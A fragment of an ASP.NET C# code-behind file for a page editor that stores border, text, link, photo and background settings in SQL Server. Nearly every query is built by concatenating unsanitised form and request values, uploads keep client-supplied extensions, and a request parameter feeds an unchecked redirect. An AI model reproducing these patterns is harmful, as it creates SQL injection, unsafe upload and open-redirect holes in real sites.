str_LeftBorder_Color = txt_Photo_LeftBorder_Color.Value != "" ? ("N'" + txt_Photo_LeftBorder_Color.Value + "'") : "NULL"; str_TopBorder_Style = "N'" + ddl_Photo_TopBorder_Style.Value + "'"; str_RightBorder_Style = "N'" + ddl_Photo_RightBorder_Style.Value + "'"; str_BottomBorder_Style = "N'" + ddl_Photo_BottomBorder_Style.Value + "'"; str_LeftBorder_Style = "N'" + ddl_Photo_LeftBorder_Style.Value + "'"; str_Stroke_Style = "NULL"; str_Stroke_Color = "NULL"; str_Stroke_Size = "NULL"; str_Shadow_Padding_Top = "N'" + ddl_Photo_Shadow_Padding_Top.Value + "'"; str_Shadow_Padding_Right = "N'" + ddl_Photo_Shadow_Padding_Right.Value + "'"; str_Shadow_Padding_Bottom = "N'" + ddl_Photo_Shadow_Padding_Bottom.Value + "'"; str_Shadow_Padding_Left = "N'" + ddl_Photo_Shadow_Padding_Left.Value + "'"; str_Shadow_Hor = "N'" + rbl_Photo_Shadow_Hor.SelectedValue + ddl_Photo_Shadow_Hor.Value + "'"; str_Shadow_Vor = "N'" + rbl_Photo_Shadow_Ver.SelectedValue + ddl_Photo_Shadow_Ver.Value + "'"; str_Shadow_Blur = "N'" + ddl_Photo_Shadow_Blur.Value + "'"; str_Shadow_Color = "N'" + txt_Photo_Shadow_Color.Value + "'"; str_Curve_Radius = "N'" + ddl_Photo_Curve_Radius.Value + "'"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_BorderMode] ([BorderMode_ID] ,[TopBorder_Size] ,[RightBorder_Size] ,[BottomBorder_Size] ,[LeftBorder_Size] ,[Padding] ,[BackColor] ,[TopBorder_Color] ,[RightBorder_Color] ,[BottomBorder_Color] ,[LeftBorder_Color] ,[TopBorder_Style] ,[RightBorder_Style] ,[BottomBorder_Style] ,[LeftBorder_Style] ,[Stroke_Style] ,[Stroke_Color] ,[Stroke_Size] ,[Shadow_Padding_Top] ,[Shadow_Padding_Right] ,[Shadow_Padding_Bottom] ,[Shadow_Padding_Left] ,[Shadow_Hor] ,[Shadow_Vor] ,[Shadow_Blur] ,[Shadow_Color] ,[Curve_Radius] ) VALUES ( " + str_BorderMode_ID + @", " + str_TopBorder_Size + @", " + str_RightBorder_Size + @", " + str_BottomBorder_Size + @", " + str_LeftBorder_Size + @", " + str_Padding + @", " + str_BackColor + @", " + str_TopBorder_Color + @", " + str_RightBorder_Color + @", " + str_BottomBorder_Color + @", " + str_LeftBorder_Color + @", " + str_TopBorder_Style + @", " + str_RightBorder_Style + @", " + str_BottomBorder_Style + @", " + str_LeftBorder_Style + @", " + str_Stroke_Style + @", " + str_Stroke_Color + @", " + str_Stroke_Size + @", " + str_Shadow_Padding_Top + @", " + str_Shadow_Padding_Right + @", " + str_Shadow_Padding_Bottom + @", " + str_Shadow_Padding_Left + @", " + str_Shadow_Hor + @", " + str_Shadow_Vor + @", " + str_Shadow_Blur + @", " + str_Shadow_Color + @", " + str_Curve_Radius + @" )"); } else { str_BorderMode_ID = "NULL"; } #endregion #region Save Photo str_UploadedPhoto_Width = "NULL"; str_UploadedPhoto_Height = "NULL"; if (fil_Photo_URL_Large.Value != "") { #region Delete Prev Photos ClSqlCmd.CommandExc(@" DELETE FROM [dbo].[__StandardEngine_T_Photos] where [EditorPage_ID]=" + str_EditorPage_ID ); #endregion str_Photo_ID = ""; str_Photo_URL_Large = ""; #region Upload file if (fil_Photo_URL_Large.Value != "") { str_Photo_ID = ClSqlCmd.DataSetSel("select dbo.[__StandardEngine_F_MaxID_Photos]()+1 ").Tables[0].Rows[0][0].ToString(); System.Web.UI.HtmlControls.HtmlInputFile File = fil_Photo_URL_Large; string str_fil_PicFileName = "_" + System.Configuration.ConfigurationSettings.AppSettings["SE_ModuleID"] + "_" + str_Photo_ID + fil_Photo_URL_Large.PostedFile.FileName.Substring(fil_Photo_URL_Large.PostedFile.FileName.LastIndexOf(".")); File.PostedFile.SaveAs(Request.MapPath("") + "\\..\\Photos_Swfs\\" + str_fil_PicFileName); str_Photo_URL_Large = "N'" + ImgRes_Save(Request.MapPath("") + "\\..\\Photos_Swfs\\" + str_fil_PicFileName, str_Photo_ID + fil_Photo_URL_Large.PostedFile.FileName.Substring(fil_Photo_URL_Large.PostedFile.FileName.LastIndexOf(".")), 1000) + "'"; System.IO.File.Delete(Request.MapPath("") + "\\..\\Photos_Swfs\\" + str_fil_PicFileName); } #endregion #region Insert the photo in the DB str_Photo_Width = str_UploadedPhoto_Width != "NULL" ? ("N'" + str_UploadedPhoto_Width + "'") : str_UploadedPhoto_Width; str_Photo_Height = str_UploadedPhoto_Height != "NULL" ? ("N'" + str_UploadedPhoto_Height + "'") : str_UploadedPhoto_Height; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_Photos] ([Photo_ID] ,[Photo_URL_Large] ,[EditorPage_ID] ,[Module_ID] ,[BorderMode_ID] ,[Photo_Order] ,[Photo_Width] ,[Photo_Height]) VALUES (" + str_Photo_ID + @" ," + str_Photo_URL_Large + @" ," + str_EditorPage_ID + @" ," + System.Configuration.ConfigurationSettings.AppSettings["SE_ModuleID"] + @" ," + str_BorderMode_ID + @" ,1 ," + str_Photo_Width + @" ," + str_Photo_Height + @")" ); #endregion } else { ClSqlCmd.CommandExc(@" Update [dbo].[__StandardEngine_T_Photos] set [BorderMode_ID]=" + str_BorderMode_ID + @" where [EditorPage_ID]=" + str_EditorPage_ID ); str_Photo_ID = ""; } #endregion } else { #region Delete Prev Photos ClSqlCmd.CommandExc(@" DELETE FROM [dbo].[__StandardEngine_T_BorderMode] where [BorderMode_ID] in ( Select [BorderMode_ID] from [dbo].[__StandardEngine_T_Photos] where [EditorPage_ID]=" + str_EditorPage_ID + " )" + @" DELETE FROM [dbo].[__StandardEngine_T_Photos] where [EditorPage_ID]=" + str_EditorPage_ID ); #endregion } #endregion #region Insert Link if (tr_Link.Visible) { #region Insert BorderMode_ID if (rb_Link_Settings.SelectedValue == "1") { str_BorderMode_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_BorderMode()+1").Tables[0].Rows[0][0].ToString(); str_TopBorder_Size = "N'" + ddl_Link_TopBorder_Size.Value + "'"; str_RightBorder_Size = "N'" + ddl_Link_RightBorder_Size.Value + "'"; str_BottomBorder_Size = "N'" + ddl_Link_BottomBorder_Size.Value + "'"; str_LeftBorder_Size = "N'" + ddl_Link_LeftBorder_Size.Value + "'"; str_Padding = "N'" + ddl_Link_Padding_Top.Value + " " + ddl_Link_Padding_Right.Value + " " + ddl_Link_Padding_Bottom.Value + " " + ddl_Link_Padding_Left.Value + "'"; str_BackColor = "N'" + txt_Link_BackColor.Value + "'"; str_TopBorder_Color = txt_Link_TopBorder_Color.Value != "" ? ("N'" + txt_Link_TopBorder_Color.Value + "'") : "NULL"; str_RightBorder_Color = txt_Link_RightBorder_Color.Value != "" ? ("N'" + txt_Link_RightBorder_Color.Value + "'") : "NULL"; str_BottomBorder_Color = txt_Link_BottomBorder_Color.Value != "" ? ("N'" + txt_Link_BottomBorder_Color.Value + "'") : "NULL"; str_LeftBorder_Color = txt_Link_LeftBorder_Color.Value != "" ? ("N'" + txt_Link_LeftBorder_Color.Value + "'") : "NULL"; str_TopBorder_Style = "N'" + ddl_Link_TopBorder_Style.Value + "'"; str_RightBorder_Style = "N'" + ddl_Link_RightBorder_Style.Value + "'"; str_BottomBorder_Style = "N'" + ddl_Link_BottomBorder_Style.Value + "'"; str_LeftBorder_Style = "N'" + ddl_Link_LeftBorder_Style.Value + "'"; str_Stroke_Style = "NULL"; str_Stroke_Color = "NULL"; str_Stroke_Size = "NULL"; str_Shadow_Padding_Top = "N'" + ddl_Link_Shadow_Padding_Top.Value + "'"; str_Shadow_Padding_Right = "N'" + ddl_Link_Shadow_Padding_Right.Value + "'"; str_Shadow_Padding_Bottom = "N'" + ddl_Link_Shadow_Padding_Bottom.Value + "'"; str_Shadow_Padding_Left = "N'" + ddl_Link_Shadow_Padding_Left.Value + "'"; str_Shadow_Hor = "N'" + rbl_Link_Shadow_Hor.SelectedValue + ddl_Link_Shadow_Hor.Value + "'"; str_Shadow_Vor = "N'" + rbl_Link_Shadow_Ver.SelectedValue + ddl_Link_Shadow_Ver.Value + "'"; str_Shadow_Blur = "N'" + ddl_Link_Shadow_Blur.Value + "'"; str_Shadow_Color = "N'" + txt_Link_Shadow_Color.Value + "'"; str_Curve_Radius = "N'" + ddl_Link_Curve_Radius.Value + "'"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_BorderMode] ([BorderMode_ID] ,[TopBorder_Size] ,[RightBorder_Size] ,[BottomBorder_Size] ,[LeftBorder_Size] ,[Padding] ,[BackColor] ,[TopBorder_Color] ,[RightBorder_Color] ,[BottomBorder_Color] ,[LeftBorder_Color] ,[TopBorder_Style] ,[RightBorder_Style] ,[BottomBorder_Style] ,[LeftBorder_Style] ,[Stroke_Style] ,[Stroke_Color] ,[Stroke_Size] ,[Shadow_Padding_Top] ,[Shadow_Padding_Right] ,[Shadow_Padding_Bottom] ,[Shadow_Padding_Left] ,[Shadow_Hor] ,[Shadow_Vor] ,[Shadow_Blur] ,[Shadow_Color] ,[Curve_Radius] ) VALUES ( " + str_BorderMode_ID + @", " + str_TopBorder_Size + @", " + str_RightBorder_Size + @", " + str_BottomBorder_Size + @", " + str_LeftBorder_Size + @", " + str_Padding + @", " + str_BackColor + @", " + str_TopBorder_Color + @", " + str_RightBorder_Color + @", " + str_BottomBorder_Color + @", " + str_LeftBorder_Color + @", " + str_TopBorder_Style + @", " + str_RightBorder_Style + @", " + str_BottomBorder_Style + @", " + str_LeftBorder_Style + @", " + str_Stroke_Style + @", " + str_Stroke_Color + @", " + str_Stroke_Size + @", " + str_Shadow_Padding_Top + @", " + str_Shadow_Padding_Right + @", " + str_Shadow_Padding_Bottom + @", " + str_Shadow_Padding_Left + @", " + str_Shadow_Hor + @", " + str_Shadow_Vor + @", " + str_Shadow_Blur + @", " + str_Shadow_Color + @", " + str_Curve_Radius + @" )"); } else { str_BorderMode_ID = "NULL"; } #endregion #region Insert _TextStyle_ID if (rb_Link_Settings.SelectedValue == "1") { str_TextStyle_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_TextStyle()+1").Tables[0].Rows[0][0].ToString(); str_ForeColor = "N'" + txt_Link_ForeColor.Value + "'"; //str_BackColor = !cb_BackColor_Trans.Checked ? ("N'" + txt_BackColor.Value + "'") : "NULL"; str_BackColor = "N'" + txt_Link_BackColor.Value + "'"; str_FontFamily = "N'" + ddl_Link_FontFamily.Value + "'"; str_FontSize = "N'" + ddl_Link_FontSize.Value + "'"; str_Align = "N'" + ddl_Link_Align.Value + "'"; str_Bold = cb_Link_Bold.Checked ? "N'bold'" : "N'normal'"; str_Underline = cb_Link_Underline.Checked ? "N'underline'" : "N'none'"; str_Italic = cb_Link_Italic.Checked ? "N'italic'" : "N'normal'"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_TextStyle] ([TextStyle_ID] ,[ForeColor] ,[BackColor] ,[FontFamily] ,[FontSize] ,[Align] ,[Bold] ,[Underline] ,[Italic]) VALUES ( " + str_TextStyle_ID + @", " + str_ForeColor + @", " + str_BackColor + @", " + str_FontFamily + @", " + str_FontSize + @", " + str_Align + @", " + str_Bold + @", " + str_Underline + @", " + str_Italic + @" )"); } else { str_TextStyle_ID = "NULL"; } #endregion #region Insert LinkHref_ID if (txt_Link_LinkHref_Href.Text != "") { str_LinkHref_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_LinkHref()+1").Tables[0].Rows[0][0].ToString(); str_LinkHref_Href = txt_Link_LinkHref_Href.Text != "" ? ("N'" + txt_Link_LinkHref_Href.Text + "'") : "NULL"; str_LinkHref_Target = "N'" + ddl_Link_LinkHref_Target.SelectedValue + "'"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_LinkHref] ([LinkHref_ID] ,[LinkHref_Href] ,[LinkHref_Target]) VALUES ( " + str_LinkHref_ID + @", " + str_LinkHref_Href + @", " + str_LinkHref_Target + @" )"); } else { str_LinkHref_ID = "NULL"; } #endregion #region Insert Link if (txt_Link_LinkHref_Href.Text.Trim() != "") { str_Link_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_Link()+1").Tables[0].Rows[0][0].ToString(); str_Text = "N'" + txt_Link.Value.Replace("'", "''") + "'"; str_Class = rb_Link_Settings.SelectedValue == "1" ? "NULL" : ("N'" + rb_Link_Settings.SelectedValue + "'"); str_BulletStyle_ID = "NULL"; str_Order__Link = "1"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_Link] ([Link_ID] ,[Text] ,[TextStyle_ID] ,[Class] ,[BulletStyle_ID] ,[BorderMode_ID] ,[LinkHref_ID] ,[EditorPage_ID] ,[Order]) VALUES (" + str_Link_ID + @" ," + str_Text + @" ," + str_TextStyle_ID + @" ," + str_Class + @" ," + str_BulletStyle_ID + @" ," + str_BorderMode_ID + @" ," + str_LinkHref_ID + @" ," + str_EditorPage_ID + @" ," + str_Order__Link + @")" ); } #endregion } #endregion #region Insert Cont Border if (tr_HorizontalContents.Visible) { string str_PageName = "NULL"; string str_PageDescription = "NULL"; #region Insert Items count ClSqlCmd.CommandExc(@" UPDATE [dbo].[__StandardEngine_T_EditorPages] SET [PageName]=" + str_PageName + @", [PageDescription] = " + str_PageDescription + @" WHERE [EditorPage_ID]=" + str_EditorPage_ID); #endregion #region Insert BorderMode_ID if (rb_Cont_Settings.SelectedValue == "1") { str_BorderMode_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_BorderMode()+1").Tables[0].Rows[0][0].ToString(); str_TopBorder_Size = "N'" + ddl_Cont_TopBorder_Size.Value + "'"; str_RightBorder_Size = "N'" + ddl_Cont_RightBorder_Size.Value + "'"; str_BottomBorder_Size = "N'" + ddl_Cont_BottomBorder_Size.Value + "'"; str_LeftBorder_Size = "N'" + ddl_Cont_LeftBorder_Size.Value + "'"; str_Padding = "N'" + ddl_Cont_Padding_Top.Value + " " + ddl_Cont_Padding_Right.Value + " " + ddl_Cont_Padding_Bottom.Value + " " + ddl_Cont_Padding_Left.Value + "'"; str_BackColor = "N'" + txt_Cont_BackColor.Value + "'"; str_TopBorder_Color = txt_Cont_TopBorder_Color.Value != "" ? ("N'" + txt_Cont_TopBorder_Color.Value + "'") : "NULL"; str_RightBorder_Color = txt_Cont_RightBorder_Color.Value != "" ? ("N'" + txt_Cont_RightBorder_Color.Value + "'") : "NULL"; str_BottomBorder_Color = txt_Cont_BottomBorder_Color.Value != "" ? ("N'" + txt_Cont_BottomBorder_Color.Value + "'") : "NULL"; str_LeftBorder_Color = txt_Cont_LeftBorder_Color.Value != "" ? ("N'" + txt_Cont_LeftBorder_Color.Value + "'") : "NULL"; str_TopBorder_Style = "N'" + ddl_Cont_TopBorder_Style.Value + "'"; str_RightBorder_Style = "N'" + ddl_Cont_RightBorder_Style.Value + "'"; str_BottomBorder_Style = "N'" + ddl_Cont_BottomBorder_Style.Value + "'"; str_LeftBorder_Style = "N'" + ddl_Cont_LeftBorder_Style.Value + "'"; str_Stroke_Style = "NULL"; str_Stroke_Color = "NULL"; str_Stroke_Size = "NULL"; str_Shadow_Padding_Top = "N'" + ddl_Cont_Shadow_Padding_Top.Value + "'"; str_Shadow_Padding_Right = "N'" + ddl_Cont_Shadow_Padding_Right.Value + "'"; str_Shadow_Padding_Bottom = "N'" + ddl_Cont_Shadow_Padding_Bottom.Value + "'"; str_Shadow_Padding_Left = "N'" + ddl_Cont_Shadow_Padding_Left.Value + "'"; str_Shadow_Hor = "N'" + rbl_Cont_Shadow_Hor.SelectedValue + ddl_Cont_Shadow_Hor.Value + "'"; str_Shadow_Vor = "N'" + rbl_Cont_Shadow_Ver.SelectedValue + ddl_Cont_Shadow_Ver.Value + "'"; str_Shadow_Blur = "N'" + ddl_Cont_Shadow_Blur.Value + "'"; str_Shadow_Color = "N'" + txt_Cont_Shadow_Color.Value + "'"; str_Curve_Radius = "N'" + ddl_Cont_Curve_Radius.Value + "'"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_BorderMode] ([BorderMode_ID] ,[TopBorder_Size] ,[RightBorder_Size] ,[BottomBorder_Size] ,[LeftBorder_Size] ,[Padding] ,[BackColor] ,[TopBorder_Color] ,[RightBorder_Color] ,[BottomBorder_Color] ,[LeftBorder_Color] ,[TopBorder_Style] ,[RightBorder_Style] ,[BottomBorder_Style] ,[LeftBorder_Style] ,[Stroke_Style] ,[Stroke_Color] ,[Stroke_Size] ,EditorPage_ID ,[Shadow_Padding_Top] ,[Shadow_Padding_Right] ,[Shadow_Padding_Bottom] ,[Shadow_Padding_Left] ,[Shadow_Hor] ,[Shadow_Vor] ,[Shadow_Blur] ,[Shadow_Color] ,[Curve_Radius] ) VALUES ( " + str_BorderMode_ID + @", " + str_TopBorder_Size + @", " + str_RightBorder_Size + @", " + str_BottomBorder_Size + @", " + str_LeftBorder_Size + @", " + str_Padding + @", " + str_BackColor + @", " + str_TopBorder_Color + @", " + str_RightBorder_Color + @", " + str_BottomBorder_Color + @", " + str_LeftBorder_Color + @", " + str_TopBorder_Style + @", " + str_RightBorder_Style + @", " + str_BottomBorder_Style + @", " + str_LeftBorder_Style + @", " + str_Stroke_Style + @", " + str_Stroke_Color + @", " + str_Stroke_Size + @", " + str_EditorPage_ID + @", " + str_Shadow_Padding_Top + @", " + str_Shadow_Padding_Right + @", " + str_Shadow_Padding_Bottom + @", " + str_Shadow_Padding_Left + @", " + str_Shadow_Hor + @", " + str_Shadow_Vor + @", " + str_Shadow_Blur + @", " + str_Shadow_Color + @", " + str_Curve_Radius + @" )"); } #endregion } #endregion #region Insert OuterCont Border if (tr_OuterCont.Visible) { #region Insert BorderMode_ID if (rb_OuterCont_Settings.SelectedValue == "1") { str_BorderMode_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_BorderMode()+1").Tables[0].Rows[0][0].ToString(); str_TopBorder_Size = "N'" + ddl_OuterCont_TopBorder_Size.Value + "'"; str_RightBorder_Size = "N'" + ddl_OuterCont_RightBorder_Size.Value + "'"; str_BottomBorder_Size = "N'" + ddl_OuterCont_BottomBorder_Size.Value + "'"; str_LeftBorder_Size = "N'" + ddl_OuterCont_LeftBorder_Size.Value + "'"; str_Padding = "N'" + ddl_OuterCont_Padding_Top.Value + " " + ddl_OuterCont_Padding_Right.Value + " " + ddl_OuterCont_Padding_Bottom.Value + " " + ddl_OuterCont_Padding_Left.Value + "'"; str_BackColor = !cb_OuterCont_BackColor_Trans.Checked ? ("N'" + txt_OuterCont_BackColor.Value + "'") : "NULL"; str_TopBorder_Color = txt_OuterCont_TopBorder_Color.Value != "" ? ("N'" + txt_OuterCont_TopBorder_Color.Value + "'") : "NULL"; str_RightBorder_Color = txt_OuterCont_RightBorder_Color.Value != "" ? ("N'" + txt_OuterCont_RightBorder_Color.Value + "'") : "NULL"; str_BottomBorder_Color = txt_OuterCont_BottomBorder_Color.Value != "" ? ("N'" + txt_OuterCont_BottomBorder_Color.Value + "'") : "NULL"; str_LeftBorder_Color = txt_OuterCont_LeftBorder_Color.Value != "" ? ("N'" + txt_OuterCont_LeftBorder_Color.Value + "'") : "NULL"; str_TopBorder_Style = "N'" + ddl_OuterCont_TopBorder_Style.Value + "'"; str_RightBorder_Style = "N'" + ddl_OuterCont_RightBorder_Style.Value + "'"; str_BottomBorder_Style = "N'" + ddl_OuterCont_BottomBorder_Style.Value + "'"; str_LeftBorder_Style = "N'" + ddl_OuterCont_LeftBorder_Style.Value + "'"; str_Stroke_Style = "NULL"; str_Stroke_Color = "NULL"; str_Stroke_Size = "NULL"; str_Shadow_Padding_Top = "N'" + ddl_OuterCont_Shadow_Padding_Top.Value + "'"; str_Shadow_Padding_Right = "N'" + ddl_OuterCont_Shadow_Padding_Right.Value + "'"; str_Shadow_Padding_Bottom = "N'" + ddl_OuterCont_Shadow_Padding_Bottom.Value + "'"; str_Shadow_Padding_Left = "N'" + ddl_OuterCont_Shadow_Padding_Left.Value + "'"; str_Shadow_Hor = "N'" + rbl_OuterCont_Shadow_Hor.SelectedValue + ddl_OuterCont_Shadow_Hor.Value + "'"; str_Shadow_Vor = "N'" + rbl_OuterCont_Shadow_Ver.SelectedValue + ddl_OuterCont_Shadow_Ver.Value + "'"; str_Shadow_Blur = "N'" + ddl_OuterCont_Shadow_Blur.Value + "'"; str_Shadow_Color = "N'" + txt_OuterCont_Shadow_Color.Value + "'"; str_Curve_Radius = "N'" + ddl_OuterCont_Curve_Radius.Value + "'"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_BorderMode] ([BorderMode_ID] ,[TopBorder_Size] ,[RightBorder_Size] ,[BottomBorder_Size] ,[LeftBorder_Size] ,[Padding] ,[BackColor] ,[TopBorder_Color] ,[RightBorder_Color] ,[BottomBorder_Color] ,[LeftBorder_Color] ,[TopBorder_Style] ,[RightBorder_Style] ,[BottomBorder_Style] ,[LeftBorder_Style] ,[Stroke_Style] ,[Stroke_Color] ,[Stroke_Size] ,EditorPage_ID ,[Shadow_Padding_Top] ,[Shadow_Padding_Right] ,[Shadow_Padding_Bottom] ,[Shadow_Padding_Left] ,[Shadow_Hor] ,[Shadow_Vor] ,[Shadow_Blur] ,[Shadow_Color] ,[Curve_Radius] ) VALUES ( " + str_BorderMode_ID + @", " + str_TopBorder_Size + @", " + str_RightBorder_Size + @", " + str_BottomBorder_Size + @", " + str_LeftBorder_Size + @", " + str_Padding + @", " + str_BackColor + @", " + str_TopBorder_Color + @", " + str_RightBorder_Color + @", " + str_BottomBorder_Color + @", " + str_LeftBorder_Color + @", " + str_TopBorder_Style + @", " + str_RightBorder_Style + @", " + str_BottomBorder_Style + @", " + str_LeftBorder_Style + @", " + str_Stroke_Style + @", " + str_Stroke_Color + @", " + str_Stroke_Size + @", NULL, " + str_Shadow_Padding_Top + @", " + str_Shadow_Padding_Right + @", " + str_Shadow_Padding_Bottom + @", " + str_Shadow_Padding_Left + @", " + str_Shadow_Hor + @", " + str_Shadow_Vor + @", " + str_Shadow_Blur + @", " + str_Shadow_Color + @", " + str_Curve_Radius + @" )"); } else { str_BorderMode_ID = "NULL"; } #endregion #region Deal with Prev BG File // Delete current banner file if (fil_background_image.Value != "" && img_background_image.ImageUrl != "") { try { System.IO.File.Delete(Request.MapPath("") + "\\" + img_background_image.ImageUrl); } catch { } } if (cb_background_image_Delete.Checked && img_background_image.ImageUrl != "") { try { System.IO.File.Delete(Request.MapPath("") + "\\" + img_background_image.ImageUrl); } catch { } } #endregion //Save new BG file #region Save BG File str_background_image = ""; if (fil_background_image.Value != "") { #region Upload file if (fil_background_image.Value != "") { System.Web.UI.HtmlControls.HtmlInputFile File = fil_background_image; string str_fil_PicFileName = str_EditorPage_ID + "_BGPhoto_" + System.Configuration.ConfigurationSettings.AppSettings["SE_ModuleID"] + fil_background_image.PostedFile.FileName.Substring(fil_background_image.PostedFile.FileName.LastIndexOf(".")); File.PostedFile.SaveAs(Request.MapPath("") + "\\..\\Photos_Swfs\\" + str_fil_PicFileName); hdn_background_image.Value = "url(../Photos_Swfs/" + str_fil_PicFileName + ")"; str_background_image = "N'" + str_fil_PicFileName + "'"; } #endregion } else if (!cb_background_image_Delete.Checked && hdn_background_image.Value != "") { str_background_image = "N'" + hdn_background_image.Value + "'"; hdn_background_image.Value = "url(../Photos_Swfs/" + hdn_background_image.Value + ")"; } else { str_background_image = "NULL"; hdn_background_image.Value = "none"; } #endregion #region Insert _BackGround_ID str_BackGround_ID = ClSqlCmd.DataSetSel("select dbo.__StandardEngine_F_MaxID_BackGround()+1").Tables[0].Rows[0][0].ToString(); str_background_color = txt_OuterCont_BackColor.Value != "" ? ("N'" + txt_OuterCont_BackColor.Value.Replace("'", "''") + "'") : "NULL"; str_background_repeat = "N'" + ddl_background_repeat.Value + "'"; str_background_position_Hor = "N'" + ddl_background_position_Hor.Value + "'"; str_background_position_Ver = "N'" + ddl_background_position_Ver.Value + "'"; ClSqlCmd.CommandExc(@" INSERT INTO [dbo].[__StandardEngine_T_BackGround] ([BackGround_ID] ,[background_color] ,[background_image] ,[background_repeat] ,[background_position_Hor] ,[background_position_Ver]) VALUES ( " + str_BackGround_ID + @", " + str_background_color + @", " + str_background_image + @", " + str_background_repeat + @", " + str_background_position_Hor + @", " + str_background_position_Ver + @" )"); #endregion #region Update EditorPage ClSqlCmd.CommandExc(@" UPDATE [dbo].[__StandardEngine_T_EditorPages] SET [BorderMode_ID] = " + str_BorderMode_ID + @", [BackGround_ID] = " + str_BackGround_ID + @" WHERE [EditorPage_ID]=" + str_EditorPage_ID); #endregion } #endregion } protected void btn_Save_Click(object sender, EventArgs e) { Save(); /////////////////////////////////////////////////////////////////////// if (Request.Params["retP"] != null && Request.Params["retP"] != "") { Response.Redirect(Server.UrlDecode(Request.Params["retP"])); } } protected void LinkButton1_Click(object sender, EventArgs e) { #region Delete Prev Photos ClSqlCmd.CommandExc(@" DELETE FROM [dbo].[__StandardEngine_T_BorderMode] where [BorderMode_ID] in ( Select [BorderMode_ID] from [dbo].[__StandardEngine_T_Photos] where [EditorPage_ID]=" + Request.Params["EPID"].Replace("'","") + " )" + @" DELETE FROM [dbo].[__StandardEngine_T_Photos] where [EditorPage_ID]=" + Request.Params["EPID"].Replace("'", "") ); Response.Redirect(Request.Url.ToString()); #endregion } protected void Button4_Click(object sender, EventArgs e) { f_DeleteRditorPage( Request.Params["EPID"].Replace("'","") ); if (Request.Params["retP"] != null && Request.Params["retP"] != "") { Response.Redirect(Server.UrlDecode(Request.Params["retP"])); } else { Response.Redirect("../Admin"); } } protected void f_DeleteRditorPage(string _str_EditorPage_ID) { DataSet DS = ClSqlCmd.DataSetSel(@" select EditorPage_ID FROM dbo.__StandardEngine_T_EditorPages WHERE Parent_EditorPage_ID =" +_str_EditorPage_ID); if (DS.Tables.Count > 0 && DS.Tables[0].Rows.Count > 0) { foreach (DataRow DR in DS.Tables[0].Rows) { f_DeleteRditorPage(DR["EditorPage_ID"].ToString()); } } ClSqlCmd.DataSetSel(@"[dbo].[__StandardEngine_sp_EditorPage_Delete] "+_str_EditorPage_ID); } protected void btn_SaveStay_Click(object sender, EventArgs e) { Save(); } }
Close